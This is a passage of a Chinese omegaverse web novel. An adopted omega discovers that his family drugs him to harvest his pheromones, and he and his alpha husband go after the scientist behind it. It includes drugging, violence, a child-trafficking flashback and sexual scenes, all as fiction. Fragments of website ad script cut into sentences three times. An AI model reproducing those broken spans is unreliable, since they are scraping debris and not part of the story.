许南兮看到墨行知来了,赶紧上前抓住他的手解释:“行知,你别听那些记者胡说,没有的事。” “这都是竞争对手趁你爸昏迷使出来的下三滥手段。我已经放话出去,谁要是再敢造谣,我们一定告到底。” 墨行知看着她着急的样子,一改往日的乖顺。omega神情凝重,褐红色瞳眸填满了被家人背叛的无助和悲伤。 “可是妈,那张合同上面有爸的签名。” 许南兮立即狡辩:“签名是可以伪造的!” “爸的私人印章和指纹也有。” 许南兮:“假的!现在的技术你不知道有多厉害!” “我的记忆和手上的伤也很奇怪...” “不是早就跟你说过了吗?这都是你发情热精神崩溃造成的。”怕他再继续怀疑下去,许南兮突然打起了感情牌,“行知,你要相信爸妈,我们那么辛苦把你养大,怎么可能会害你呢?你那么聪明,不用想也知道这是别人设计的圈套啊!” 她眼泪在眼眶里打转,将落未落地望着面前的男生,随后伸手将他抱住。 ‘僵还是老的辣’这话果然不是虚传。 记忆中,墨行知还不曾见到过许南兮这样。在庄园里住的三年,这个人只有在他发情的时候才会出现,无论他如何痛苦,如何难受,她都不曾抱过他一次... 她的眼神总是很冷漠地搁着玻璃窗注视着他,等到他虚弱到意识模糊,她才会打开房门,将每一针信息素打到他的腺体里。 然后他会在不断的高热中独自度过三到四天。 期间除了阿姨定点送到窗口的饭,再也没有出现过第二个人。 第一次事后他上网查过,答案是:所有未婚的omega发情都会得到父母的安抚。 他虽然不会感到难过,但会一笔一笔记下来。当蓟萧说他不是墨家的孩子,他一下就找到了突破口。 “知道了。” 听到他这么说,许南兮松了一口气,积在眼眶里的泪水几乎在一瞬间消失。 她假装低头擦泪:“去看看你爸吧。” 墨行知:“好。” 柳熙川站在旁边看完一切,轻轻拍了拍许南兮的肩膀,跟着一起上楼。 墨家现在的保镖是以往的三倍之多。屋内屋外,严密谨慎,基本飞不进一只苍蝇。 等墨行知拐进二楼,许南兮赶紧用眼神询问管事。 见到管事摇头,她顿时激动起来:“什么!孤儿院那边也联系不上人吗?” “用老墨的手机打也不行吗?” 管事还是摇头。 “这个曹立!”许南兮咬牙,“他怎么敢的!” 墨霖确实跟曹立签了一份合同,内容是‘在墨行知每次发情的时候抽取10ml信息素’给他,这是他们当初领养的条件。 但最近因为墨霖住院,墨行知也没有要发情的征兆,她就把这事给忘记了。 “不是有一个星期左右的缓期吗?这个疯子怎么就这么急不可耐?竟敢放一张假合同威胁我!” 许南兮气死了,墨霖才刚倒下就有人要搞她。最近公司也总是频繁出错,明明一直合作的老客户墨闲不知道怎么就弄错了客户需求,闹的接二连三收到退单,一点也不顾及往日情分。墨廷忙着给人赔礼道歉,天天喝的烂醉回家。 管事说:“大少爷就在这里,不如今晚...” “不可!”许南兮想也没想就拒绝,“他没有发情,会被发现。” 管事也觉得奇怪:“按照以往的规律,大少爷的发情期应该在前几天... 难道是受了徐少爷的影响?” 闻言,许南兮看着楼上眯了眯眼。 “把阿廷叫回来。” - 虽然墨霖搬到了家里,但房间的医用设备一样不少,私人医生就住在隔壁。 墨行知倒了一杯水,坐在床边,安静地拿着棉签给墨霖点水。 “我定了明天去M国的机票。”柳熙川突然说。 墨行知动作微顿,没说话。 柳熙川看着床上的墨霖,红了眼眶:“我要把少钦接回来治疗。” 墨行知还是没说话。 “我知道少钦欺负了你,你要去告发我就去告吧。” “但是别怪我没有提醒你,徐钧彻也不是什么好东西。” 见旁边的人终于偏头,柳熙川也同时看过去。 人类就是这么奇怪,最无所谓的时候最真实。 知道蓟萧还需要徐少钦的身份,墨行知垂眸,平淡道:“我不会。” 闻言,柳熙川又支愣了起来,一边擦脸上的泪一边还不忘约束他:“那你少跟那个蓟萧眉来眼去的。” 墨行知把棉签丢进垃圾桶,面无表情:“他现在是我的丈夫。” “……” - 午饭过后,柳熙川带着郁闷回家。 墨行知吃的有些饱,去了顶楼散步。 最近估计有台风要来临,天空总是乌云齐聚,偶尔还夹杂着微凉的小雨。 墨行知拿出手机,看着骆嘉淮几天前说要来找自己却没动静,本想问一问对方在忙什么,耳边忽地传来脚步声。 “大哥?” 墨行知转过头,看到了满脸通红的墨廷。 “怎么是你?”墨廷看了一圈周围,“管事说妈在上面等我。” 老远就闻到一股酒味,墨行知很轻地皱了下鼻子:“可能在另一边。” 墨家的顶楼分两块,一块是露天泳池,一块是墨欢的专属网球场。 他们此刻就在球场外围。 墨廷点点头,想着管事老了,记错事情也正常。可他刚转过身,却感觉头晕的厉害,脚下一阵悬浮… 眼看就要摔下去,墨行知一把拉住了他的胳膊。 几乎是一瞬间,墨廷的信息素窜了出来。 栀子花味,很浓。 他撑在地上,伸手摸了下发痛的腺体,那儿又烫又肿胀,他有些迷茫,但很快,他想到刚到家时管事给的那碗解酒汤。 “收起来。”墨行知冷道。 怎么可以对兄长使用诱导信息素? 墨廷也在心里这样问,但 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 母亲为什么这样做?想起网上的各种报道,墨廷不可置信地抬起头。 虽然俩人级别不同,但一个A一个O,墨行知被诱导发情只是时间问题。 墨行知抓着墨廷的手转到脖子上,红瞳泛着光:“你在等什么?” 压制让墨廷呼吸难受,筋脉快要爆裂开来。 然而下一刻,墨行知却跪在了地上。 早在门内等候的保镖见状立即冲过来将墨廷带走。 “行知!” 许南兮和管事跑过来。 看着脸色绯红,呼吸急促的墨行知,许南兮将人扶住,给管事使了一个眼神。 “抑制剂!” 管事急忙找出来一支提前换好的麻醉剂,在许南兮撩起墨行知的衣袖,他便对准那血管扎了进去。 看着墨行知呼吸渐渐平稳,许南兮忙问:“行知,感觉好些了吗?” 墨行知眼皮重如铁,张了张嘴,还未说出半个字,眼睛就闭上了。 许南兮见状跟管事互看了眼,等了一会儿她才叫墨行知的名字。一声,两声,三声… 发现没反应,便让管事动手。 管事拿出另一支针管,但他是第一次抽取信息素,等许南兮撩起墨行知后颈的头发,偏头问:“抽多少?” “10毫升。”许南兮说,“快点。” 谁知,她话刚说完,针管就滚落到地上。 许南兮皱起眉,正想骂人没用,一只大手突然占据她的视线。 下一秒,管事和许南兮被人同时掐住了脖子。 当看清来人的脸时,许南兮瞳孔放大,不明白在公司上班的人怎么会出现在这里。 “少、少钦…” 蓟萧没说话,看着俩人的眼神冷静异常。alpha墨黑的眸子深不见底,把俩人当小鸡仔似的提高,随后猛地一下抡到铁栏上。 “砰”一声巨响,管事当场晕厥。 有血从他鼻子里流下来。 许南兮蹬着悬空的双腿,只觉脑袋快要爆开。她双手紧紧握住蓟萧的手腕,艰难吐字:“你听我、解、解释…” - 墨行知醒来的时候,已经天黑。 他被水晶灯晃的偏过头,看到蓟萧坐在床边,手里拿着拧干的毛巾正给他擦手。 “视频录制的清晰吗?” 蓟萧闻声抬起头,看到他无恙,松一口气的同时双眸中透着寒意:“为什么撕掉抑制贴?!” 墨行知坐起来:“你不是会来吗?” “……” “我想验证他们是不是真的会在我不知情的情况下抽取信息素。”墨行知平静地看着那双黑瞳,“我有权利知道真相。” 事情回到早上蓟萧出门前。 墨行知看到网上的报道,第一时间问是不是他做的。 蓟萧回是。 墨行知:“目的?” “找一个人。”蓟萧没有多说,从盒子里拿出一片抑制贴贴在腺体上。 墨行知:“你为什么每天都要贴这个?” 蓟萧没回答,靠过来,在他疑惑的神情中,速度极快地也给他贴上了一张抑制贴。 抑制贴很闷,墨行知皱起眉,伸手想弄掉。 “我不贴。” 抑制贴只有控制不好信息素的未成年AO才需要,他已经二十五岁了,哪里还需要这种东西。 蓟萧抓住他的手,收紧,神情不似以往那般冷静:“无论今天发生什么,都不能撕下来。” 墨行知攥着拳头,看着那双眼睛没说话。 此刻,他的双手同样被人紧紧抓着。 蓟萧爬上床,强硬将墨行知抵在床头,整个人跪在他腿间,用粗粝的手指用力捏着他的下颚。 “哥哥,”alpha死死盯着身下的人,森冷的目光像蓄势待发的鳄,“第三次了。” “你想看我发疯吗?” 12. 蓟、萧 夜晚的荷花亭静谧美好,蛙鸣偶尔冒出来,清脆悦耳,给整个庭院增添祥和。 墨行知静静地看着近在迟尺的人,感受对方喷在脸上的热气,和将自己包裹的严严实实的两种信息素。 突然,他扯出来一个非常讽刺的笑容。 “你这么害怕我知道真相,原因无非只有一个。” 蓟萧顿住。 墨行知拿开脸上的手,清冷的声音一字一顿地挥下利剑:“你也是其中一个加害者。” 蓟萧瞳孔微张,心脏钝痛。 “你为什么需要长期贴抑制贴?”墨行知看了眼蓟萧的颈后,联想到那张合同和许南兮今天做的事,猜测,“你是用我的信息素培育出来的alpha,没有我,你就对别的omega信息素过敏对吗?” “…...” “你其实一直在找我,但我被墨霖养在无人区,所以在机场那天…”墨行知终于想起来,“撞我的人是你。” “……” “你在M国查到我是徐少钦的未婚妻,蓄意接近我,让徐少钦来不了婚礼…” 说什么完成想做的事就带他走… “你做这么多,”墨行知越说,心脏越痛,“是为了独享我的信息素。” “不是的!”蓟萧猛地抱住他,“不是的…不是的…” 墨行知的眼泪不受控制地掉下来:“什么不是?” “你不是我的信息素培育的?” “徐少钦的事不是你让人做的?” “墨家现在经历的一切不是你策划的?” 蓟萧:“……” “你说你是地下道的老鼠,那我是什么?”墨行知望着前方,视线模糊一片。 “我是腐肉。” “供地下道所有生物回收利用,提供养料,被肢解,最后被吞噬殆尽…” 剩下的话,被堵在另一个悲凉的唇舌里。 蓟萧手抖得厉害,握着他的脖子,轻按喉结,把安抚信息素渡进去。 墨行知闭着眼,很用力的回应。 烂透了的人生,简直烂透了…… 他们接了一个很粗暴的吻。 一个舒服又充满了恨的吻。 谁的嘴唇蹭破了,铁锈味在俩人口腔内蔓延开来,又被舔舐干净。 反反复复,复复反反。 无休无止…… - 毕竟是高契合,墨行知冷静下来不需要多长时间。 “别再把自己置于危险之中。”蓟萧从背后抱住他,轻轻吻了吻那白嫩的腺体,乞求一般,“好吗?” “答应我。” 墨行知被亲的浑身轻颤,翻过身,看着眼前嘴唇被咬破不知道几处的人,坚定道:“我要去。” “……” 然而不等他嘴里的“博士”说出口,蓟萧当即拒绝:“不行。” 墨行知皱眉。 蓟萧赶紧握住他的手解释:“博士很狡猾,最擅长用药…”不知道想起什么,蓟萧双眼闪过恨意和狠戾。他看着墨行知,真切又害怕:“如果他再用什么控制住你,我去哪里找你?” 博士可以培育出很多个s级alpha,但他只有哥哥。 可怀里的人却不干。 “你想让我像一个瓷娃娃一样乖乖等着你回来?”墨行知眼神中蓄满冷意,“我已经当够了。” 他要知道全部真相。 找出真正的‘墨行知’。 他要让所有人付出代价。 - 隔天,蓟萧用楼顶录下来的视频让许南兮把博士约出来,否侧就立马报警。 “我们也联系不上他...” 许南兮脖子上裹着纱布,看到他还有些发怵。可当她挪开视线看向墨行知时,又觉得自己像个小丑… 墨行知眯起眼:“看来您想吃一辈子牢饭。” 闻言,许南兮心脏一沉,急忙拉着他的手:“真的,他电话一直是关机状态。” “行知… 妈知道对不起你,可墨家现在这个样子…”她红着眼框,故技重施,“没有我你爸怎么办?你的三个弟弟怎么办?你真的忍心看着整个墨家走向败落吗?” 许南兮还不知道,此时的墨行知已经不再是那个会用‘就算父母再不好,也是父母。’的伦理纲常洗脑自己的孩子了。 墨行知没理会她,很冷淡地问:“他培育的人在哪里?叫什么名字?” 许南兮:“这个我真不知道...” 空气一下稀薄起来,她立马紧张道:“他就给了一个地址 ,我们每次都是把信息素藏进香水盒寄到那里。” 许南兮咬死不说孤儿院,墨行知也没提做亲子鉴定的事,而知道全部真相的蓟萧则保持沉默。 表面上大家只是想要找出博士。 “他们培育omega做什么?”墨行知突然问。 “额… 这… ”许南兮脑子转了又转,最后只好背下这口锅,“你也知道,你的三个弟弟都还没有找到合适的婚配对象,门当户对又高级别的omega凤毛麟角,所以…” 墨行知怔愣着,明显有些意外。过了好一会儿,他才冷笑出声:“用我的信息素培育未来的儿媳?” 他看着许南兮,神情厌恶:“你们不怕以后生出来的孩子畸形吗?” “……” 许南兮这个时候不敢说身为墨家的人就该做出贡献的话来,毕竟墨行知本来就不是墨家的孩子。 但跟母亲这样说话实属大不敬! 许南兮恶狠狠咬着牙,咽下今日委屈。 她必须要赶在墨行知他们之前联系上曹立。 - 许南兮给的地址在鹏城。 “订单消息已经发出。”蓟萧看着副驾驶位上的人,“我们提前去收货点蹲守。” 墨行知盯着前方,闻言轻轻嗯了声。 蓟萧现在很怕墨行知沉默,总觉得他又在酝酿着什么。看着他交叉放在腿上的手,蓟萧伸手过去将其握住。 墨行知微顿,低头看了眼。alpha手指很长,掌心很暖,完完全全将他的手包裹住,心跳跟热量一起传递着。 “不要松开我的手。”蓟萧启动车子,“任何时候。” 墨行知没说话,也没挣开。 过了好一会儿,他才把手心翻上来,跟对方握在一起。 这几天因为不用去医院,墨行知睡的很好,但可能体内的麻醉还没排干净,没多久便闭上眼睛睡着了。 蓟萧给他放平座椅,这才拿出手机,查看苏樾一大早炸过来的消息。 苏樾:【什么!你要去找那个变态?!】 苏樾:【你疯了?当初去了半条命才逃出来的!】 苏樾:【……什么时候出发?】 苏樾:【妈的!你别单独行动啊!带上老子!】 苏樾:【蓟萧,你的命是我捡的,敢出事一个试试呢[微笑]】 蓟萧看着那个死亡微笑,挑了下眉。 苏樾是他遇见过最奇怪的人。 一个爱笑又暖不进心里的人。 他是一个没有名字和身份的孤儿,遇见苏樾那天,他因为逃跑被人贩子抓住按在地上鞭打。 那天的天气跟今天一样,乌云齐聚,把大地的色彩全部吸走,世界只剩下暗淡的灰与黑。 “Let you run!” “Let you run!!” “Let you run!!! ” 狭小的巷子里,浑身裹着黑布的男人嘴里循环着“让你跑”跟鞭子一起狠狠挥下。 “啪———!” 一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声又一声,鞭下的小男孩很快皮开肉绽,鲜血淋漓。 但即便这样,他的嘴里也没有一句求饶。 “嘿,你在做什么?” 黑布男人动作顿住,偏头看见一个半大小子笑眼弯弯地站在巷口,见对方一身西装革履,名表名鞋,身后还跟了几个保镖,男人狰狞的表情收敛了点,双手无奈摊开。 “您也看见了,教训一只不听话的小狗… 嘿!客人您别过来了!弄脏了鞋袜我可赔不起!” 苏樾走到男人身旁,垂眸看着地上衣衫破烂不堪且疼到浑身抽搐的人,用皮鞋将对方的下巴挑起来,问:“喂,你为什么不求饶?你不痛吗?” 这里是M国人口贩卖的窝点,各种大人小孩被迫从事劳役和X交易,有钱的达官贵人们会在这里蜕皮,毫不掩饰地展露人性的邪恶与丑陋。 蓟萧嘴里全是血水,闻言缓缓抬起眼。alpha没有吃过饱饭,脸颊瘦如柴棒,药物使他浑身没力… 只有那双墨黑的眼睛在看东西的时候深沉而狠戾,像是潜伏在沼泽里蓄势待发的掠食者。 苏樾被看得心头一震,瞬间对他来了兴趣,偏头跟黑布男人说:“我要他。” “……” 蓟萧当时只有八岁,却已经是s级alpha,老板当然不可能卖掉他。 “实在不好意思客人…”黑布男人为难道,“您看看别的货吧。” 苏樾依旧好脸色,伸手指着地上的人。可黑布男人怎么也不肯,唧唧歪歪的给他介绍了一堆。 苏樾听烦了,当即拿出一把枪堵在那张嘴里。十四岁少年正是天不怕地不怕的年纪,黑吃黑在这样的地方更是家常便饭。 “Shut up! ” 似是没想到他变脸这么快,黑布男满眼惊恐,扑通一下坐在地上,双手举高高。 见人终于安静下来,苏樾露出一个欣慰的笑容。 “真乖。” 当蓟萧被人扛在肩上的时候,黑布男则瞪着眼睛慢慢往地上滑去,灰白的墙壁印着他留下的小红花。 蓟萧不明白苏樾为什么要把自己捡回家。 苏樾不需要他干活,也没有强迫他做任何事,每天好吃好喝供着,还把玩具一箱一箱塞给他。 就算他都不搭理,苏樾仍自顾自的把一些八岁小孩可能会喜欢的东西往他房间里布置。 终于有一天,蓟萧忍不住问:“你想要什么?” “心肝脾肺肾?” “你想要就快点拿去,不用假惺惺的讨好我。” “哎呀!”苏樾很惊讶他肯跟自己说话,兴奋之余还不忘敲他脑袋教育,“小兔崽子说什么呢?” 苏樾最后说就是想养只宠物陪自己玩儿,让他别想着跑。 蓟萧也没想跑。 先长大吧,长大后去找哥哥。 苏樾好像是被有钱人遗弃的私生子,小小年纪有房有车,还有一堆人伺候,但就是没有爸妈。 某天,苏樾拿着赛车模型跟他一起拆卸研究,说自己买了驾照和一辆骚气红的兰博基尼Aventador,还说晚上要带他出去兜风。 “喂,你叫什么名字?” “我没有名字。” “没有名字就想一个呗,你想当黑户啊。” “我… ”蓟萧想了想,最后以哥哥的代号取名,“蓟、萧。” 他从小在荷兰长大,每天中英文荷兰语参杂着用,导致三种发音都有些不太标准。 “什么?”苏樾把手里的F1一扔,扑到他身上,“你鸡小???” “……” “让我看看,你割那个没?” “…………” 俩人就这样嬉闹着长大。 一起冒险,一起欢乐,日日年年,有着深厚的情谊和独特的关系,愿意为对方去做任何事。 13. 哥哥,帮帮我 墨行知睁开眼时,车子开进了鹏城的一个村落。 沿路的古樟树茂盛而充满生机,阳光从枝叶中照射到挡风玻璃上,微风拂过,斑驳的光影便如同镶满碎金的裙摆轻轻摇曳。 “出太阳了。”墨行知偏头看向驾驶位的人。 蓟萧专注地看着前方的道路,闻言应了声嗯。 不知道是不是受阳光的影响,alpha的声音充满了活力。斑驳的光影在他身上晃动,为他沉闷的气质增添了一抹神秘色彩。 看到有热炒饭店,蓟萧靠边停好车,问:“吃完午饭去海边吗?” 墨行知眨了眨眼,回头:“好。” 俩人一同下车,进饭店找了个靠里面的位置坐下。 因为靠海,这里的游客还挺多,屋子里虽小,却能听到四五种方言。 蓟萧点菜的时候,墨行知抽纸擦了擦桌子,刚把垃圾扔进桶里,对面的人突然说:“吃冰淇淋吗?” 墨行知微顿:“马上吃饭了。”吃什么冰淇淋… 可当他的目光跟着蓟萧看向马路对面便利店门口冰箱上的冰淇淋贴纸时,不知怎么的,喉结小幅度地滑了下。 三分钟后,俩人桌上放着五个不同口味的冰淇淋。 “没有咖啡。”蓟萧说。 似乎是对味道很不满意,alpha皱了皱眉头。 墨行知看了他一眼,把面前的抹茶味冰淇淋推过去:“将就着吃。” 明明只是一个简单的动作,一句简单的话,蓟萧却愣了好久。 五岁的小孩探索欲强烈,在村里看到游客们吃饭总会配冰淇淋,他非常好奇又没有钱… 哥哥知道后立即给他做了一份抹茶冰淇淋。 “给。” “这是什么?”他看着那颗绿色的球问。 “阿芙佳朵。” 他吃了才知道原来是冰淇淋。 但可能是第一次做没有经验,他尝到了浓郁的苦涩和淡淡的清草香以及奶香。 “好苦…” 他不知道,因为没有咖啡,哥哥就多放一些抹茶粉。 “将就着吃吧。” 这么多年,他不知道去了几次米其林餐厅,却再也没有吃到过那么正宗的阿芙佳朵。 - 去海边之前,蓟萧买了一张席子和一些点心。 阳光正盛,俩人没有下海,而是坐在一颗樟树下面乘凉。 记忆中第一次这样看海吹风,墨行知手里抱着一个椰子,嘴里咕噜咕噜,十分休闲。 蓟萧则在旁边安静地剥着开心果,每剥满一把,他就会打开墨行知的手心,然后轻轻盖上去。 “小鱼。”墨行知看着手里的果肉,突然唤了一声。 蓟萧抬眼:“嗯?” 墨行知对上那双黑眸:“你说这是我给你取的名字?” 蓟萧嗯了声,低头继续剥开心果。 “你很小的时候就认识我了?” “嗯。” “你今年几岁?” “十八。” 墨行知睁大眼睛,完全没想到他才刚成年… “那你脱离信息素培育多久了?”墨行知继续问。 “十年。” 十年… 墨行知垂下眼睫。 也就是说,他给墨家当了十年的孩子。 “你见过我的父母吗?” 咔嚓——— 蓟萧又剥满了一把果肉,见他还没吃,便装进空袋子里。 “没有。” 没得到预想的答案,墨行知并没有觉得失落,只是在心里将自己默默归类。 《失踪人口》 过了会儿,蓟萧没有东西剥了,便拆开饼干的包装,拿起一块送到他嘴边。 墨行知看了眼,张开嘴。 这种薄脆烤饼碎屑很多,他咬一口就掉得到处都是,嘴角上也沾了些。 见状,蓟萧掰过他的下颚,用大拇指细心地给他擦掉。 alpha靠过来,热气不断喷到墨行知脸上。他眼睫轻颤,被弄的嘴唇很痒,却没撇开脸。 等到四目相对,他们才发现彼此的距离有多近。 蓟萧垂着眸,看着眼前被光线照得晶亮的红瞳,以及沾满糖粉的嘴唇,喉结轻轻滚动了下。 也不知道是不是故意,alpha又在那唇瓣上来回扫了扫。 当墨行知看到对方把拇指上的糖粉舔掉,又慢慢抬起眼来盯着自己时,心脏不由地一颤。 似乎是感觉到对方下一步就要准备吻上来,他突然拉开了距离,问:“你看过《吸血鬼日记》吗?” 蓟萧顿住,等了两秒才低头帮他拍了拍裤子上的碎屑:“没有。是电影?” 墨行知:“是电视剧。” 蓟萧点点头:“晚上回名宿一起看吗?” “好。” 墨行知放下椰子,移动了下屁股,然后抽纸一边清理碎屑,一边说:“它里面有个设定跟你现在的状态很像。” 蓟萧顿时有一种不好的预感。 “剧中的人类女主因为喝了吸血鬼男二的血转化成吸血鬼之后,就对他产生了认祖归宗的联系。”墨行知说的很慢,“无论是感情还是生活,女主都会不自觉地对吸血鬼男二产生强烈的忠诚,服从以及依赖。” “……” “你是用我的信息素培育出来的,你现在做的事,包括之前安抚我,也是因为对我产生了这种超自然的联系。” “…………” 蓟萧知道他聪明,思维活跃,很会由此及彼,但是没想到他竟然用电视剧来联想他们之间的关系... 像是被气到,alpha伸手一把将人拉到面前,墨行知毫无防备,重心不稳整个人扑过去,还没等他做出反应,下巴就被人捏住抬高,耳膜被硬生生炸开一道口子。 “我们是人,不是虚拟的存在。”蓟萧看着他的眼睛,一字一顿地说,“我安抚你,想亲你,是因为我喜欢你。” “我喜欢你。” “不是简单的超自然联系。” “是生理和心理的反应,是我们共同的经历,是你无意中在我身上留下的烙印。” 耳边的海浪和风声越来越大,有涨潮的趋势,两个人就这么看着对方,一个蹙眉,一个迷茫。 墨行知双手撑在蓟萧两侧,被这一番话震得怔愣住。 喜欢 ......? “我们、在一起生活过?” “......” 意识到自己说的有点多了,蓟萧松开手,将人扶正到一边。 墨行知偏头:“所以,我真的爱过你?” 一想到对方当时还是个小不点,墨行知有一点点崩溃... “我... ”他舔了下唇瓣,莫名有点紧张,“我有对你做过什么...” “没有。”蓟萧忽地站起身,开始自顾自收拾,“你只当我是弟弟。” “我暗恋。” 墨行知:“......” - 两个人没能好好观赏日落,一前一后回到名宿。 因为没有提前预定,晚上只能挤在一张一米五的床上。 看着密不透风,连电视都没有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,还一股潮湿气味的房间,墨行知皱了皱眉,沉默地拖下鞋子,拿着浴巾去了洗手间。 这是他洗得最憋屈的一个澡,狭小的空间,劣质的洗发水和沐浴露,总是很烫又突然很冷的水... 这都不算什么。 当他洗好澡,穿上衣服,准备拿裤子的时候,看到晃动着两根超长触须并盯着自己的蟑螂时,再也无法冷静… “砰———!” 蓟萧正站在床边回苏樾消息,闻声便看到两条又白又长的腿... 没等他做出反应,omega猛地一下跳到自己身上,双腿紧紧盘着他的腰。 “会飞...” 蓟萧单手托住对方的屁屁,歪着头往洗手间里面看。 下一秒,一个褐色的小东西直直朝着他的脸飞过来。 alpha速度何其快,这种只是慢动作。 蓟萧随手一捉,就将蟑螂捏在食指和大拇指之间。小家伙动的厉害,几个爪子一起挥舞,看起来很不服气。 “是它吗?”蓟萧拿到面前端倪。 墨行知偏过头,见那东西龇牙咧嘴的,立马把脑袋埋进蓟萧颈窝。 “没事。”蓟萧用脸颊蹭了蹭他的头发,“把它翅膀拔掉就不能飞了。” “......”墨行知怀疑这人故意的,“你那只手不想要了?” 当然想要。 蓟萧看了一会儿,最后抱着人去洗手间,把蟑螂丢进了马桶里。 “它会爬上来...” “不会,它已经死了。” “你对它使用信息素?”墨行知有点无语,“你精力旺盛到这种地步?” 闻言,蓟萧突然不回话了,一双眼睛直勾勾地盯着他看。 墨行知被看得心头一跳。 因为背着光,alpha那双黑瞳格外深沉。他静静地注视着眼前的人,视线从眉毛到眼睛,慢慢掠过鼻子和嘴唇,然后一直往下... 因为刚洗过澡,墨行知皮肤呈现淡粉色。omega衬衣只扣到胸前,露出大片白皙,两朵粉色的小花若隐若现。似是害怕掉下去,两条腿紧紧将alpha圈住,这个角度只能看到一点点白色的底裤边。 “......” 才意识到这个姿势很不妙,墨行知心脏紧绷,想从对方身上下来,却被一把抱到洗手台上。 “做什么?” 蓟萧没应,又盯着他看了会儿,随后俯身将下巴靠在他肩上,就那样打开水龙头洗手。 怕衣服打湿,墨行知不敢往后退。两个人的胸膛毫无缝隙地贴在一起。alpha体温很高,墨行知被烫了哆嗦。 “...让我下来。” 还是没应。 水声不断流动,墨行知感觉到俩人的心跳越来越快,耳边急促的呼吸更是盖过了水声。 因为靠得近,他能闻到对方身上云杉和铃兰的香味。 这两种味道本来不是一个属性的,但搭配在一起却莫名的合拍,像是经过细心调制出来的香料,清冷又温暖。 淡淡的,很好闻,也很舒服。 良久,身后的水龙头才关掉。墨行知听到蓟萧抽了三张纸巾擦手。 洗手间狭小安静,沙沙的声音像瓜子一样撩人心弦。 直到脚下的垃圾桶发出沉闷地声响,墨行知仍被人靠着。 又重又烫的呼吸传到颈间,云杉和铃兰的香味不断在洗手间扩散,却越来越躁动。 墨行知觉得热,伸手想将人推开,却被蓟萧抓住双手,暗哑的嗓音在他耳边乞求。 “哥哥,帮帮我。” 14. 我不喜欢你 左不过十分钟就能完事。 墨行知是这样想的,于是犹豫了几秒便决定帮忙。 但当他触碰到对方皮肤的那一刻,却直接被烫到缩回了手… “哥哥……”alpha抓住他,轻轻吻了吻他的颈侧,“别怕。” “我没有发情。” “……” 墨行知想起看过的X教育知识,A如果在发情的时候抱O,O会很快被诱导发情,级别越高的A对O的影响力就越大。 但如果是同级别的AO一起发情,那后果将不堪设想。 蓟萧没有说谎,墨行知此刻除了有点热以外,身体没什么不适。 是冷气不足。 来这里的时候,这家名宿就只剩下这一间房,当时从老板不自信的表情中就已经可以联想到这个房间有多差。 因为出了汗,又吹了海风,身上很粘,所以墨行知才选择先洗澡,后吃晚饭。 但他没想到会变成这种情况。 alpha沉重的脑袋像巨石压在肩上,墨行知锁骨被硌的生疼,熔岩般的气息不断在颈间烘烤,他刚洗的澡又出了一身汗。 都怪那只蟑螂…… “怎么还没好?” 太煎熬了,墨行知感觉过了一个世纪。 闻言,蓟萧将头抬起来。看着眼下蹙着眉,脸蛋绯红一片的人,他喉头烧的厉害,犬齿也在嘴里蠢蠢欲动。 alpha天性是恶劣的,大脑一直有个声音在不断地循环提醒着他,面前的omega没有被标记... 没有被标记! 咬穿他! 占有他! 蓟萧压制着脑海里快要爆裂的欲望,暗暗舔了下那颗发痒的牙尖,低头靠近:“我可以吻你吗?” 墨行知看着那双近在咫尺的黑眸,心脏震颤的厉害,却撇开了脸。 “不可以。” 蓟萧:“为什么?” “我不喜欢你。” 蓟萧猜到了墨行知会拒绝,因为下午的时候就没给亲。 他们没有接过一个心意相通的吻。 蓟萧咽了咽喉间的苦涩,脑子里那点邪念被他碾碎成末。他看着眼前这张冷漠的侧脸,最后小心翼翼在那嘴角边碰了下:“就当可怜我。” “哥哥……” 也不知道是第几次对这个人心软,墨行知自己都觉得意外。他转回脸,盯着那幽深的眉眼看了两秒后,缓缓扬起下巴将嘴唇印上去。 温和的信息素渡进蓟萧口腔,暖化整个身躯。蓟萧闭上眼,双手捧住哥哥的脸,非常温柔地吻他。 - 半小时后,墨行知重新洗了个澡。 穿好衣服出来时,已经是晚上九点多。 “晚饭想吃什么?”蓟萧站起来。 墨行知看了他一眼,想起在洗手间里的画面,心跳不由得加快,嘴里一阵干渴,手也酸的厉害… “…...想吃点水果。” “好。” 俩人去到水果店,买了两盒切好的西瓜,一边吃一边找饭店。 “明天苏樾会来。”蓟萧突然说。 墨行知插西瓜的动作一顿:“你哥哥?” 蓟萧嗯了声,随后解释道:“我没叫过他哥哥。” “……” 墨行知不明白他为什么要解释,咽下嘴里的西瓜,问:“他来做什么?” 蓟萧:“帮忙。” 蓟萧:“博士没那么容易现身,取货的人应该是他雇的。” 蓟萧:“想要找到他的下落,得先抓住那些交接的人,然后一个一个逼问。” “这种事…”不知道想到什么,蓟萧顿了下,“苏樾比我有经验。” 苏樾折磨人是有一套的,不像他这里就只有一种答案。 不开口就永远开不了口。 墨行知点点头。 “我们当初的培育地点在哪里?” “在荷兰的一个村庄。” 荷兰??? 墨行知没想到会在那么远的地方… 不过想想也是,这种反人道行为严重违法,在国内早被抓了。 “那他会不会还在那里?” 蓟萧:“不会。” 那个地方已经被烧了。 蓟萧看着手中的西瓜,恍然觉得这颜色跟当年的大火很像。 顿时没了胃口。 问出那句话之后,墨行知很敏感地察觉到旁边气压低了很多。 他偏过头,想看看情况,却正好撞上一双黑漆漆的眼睛。 阶梯上面的店铺灯光明亮,可alpha每次都背着光,并借着体型的优势将他一起隐在黑暗里。 像是锁定在囊中的猎物。 墨行知被那种阴沉的眼神看得头皮发麻,回头继续往前走。 “怎么了?” “你喜欢什么样的人?”蓟萧问。 墨行知:“问这个干嘛?” 蓟萧:“想被你喜欢。” 目光再次对上,但又很快分开。 “被我喜欢有什么好……”墨行知舔了下唇瓣,皱眉道,“你了解现在的我吗?” “我对你好吗?” 蓟萧看着他,没有一秒犹豫:“你很好,特别好,我喜欢你。” “……” 安抚一下就很好了? 未免也太容易满足… 墨行知没见过这样的人,电视里那些爱情剧多磨又多难,完全没有参考性。 不知怎的,他突然有些烦躁。 “回去了。” 蓟萧见他转了个身,步伐极快的往名宿方向走,站在原地问:“不吃晚饭?” “饱了。” 蓟萧眨了眨眼,刚准备跟上去,又见人返了回来… omega沉着脸,拿走他手里的西瓜,开口像一个幽怨的小媳妇:“你自己去吃,少点肉,多点菜。” “反正又不干活,主食也少吃点,不然能量没地方用。” 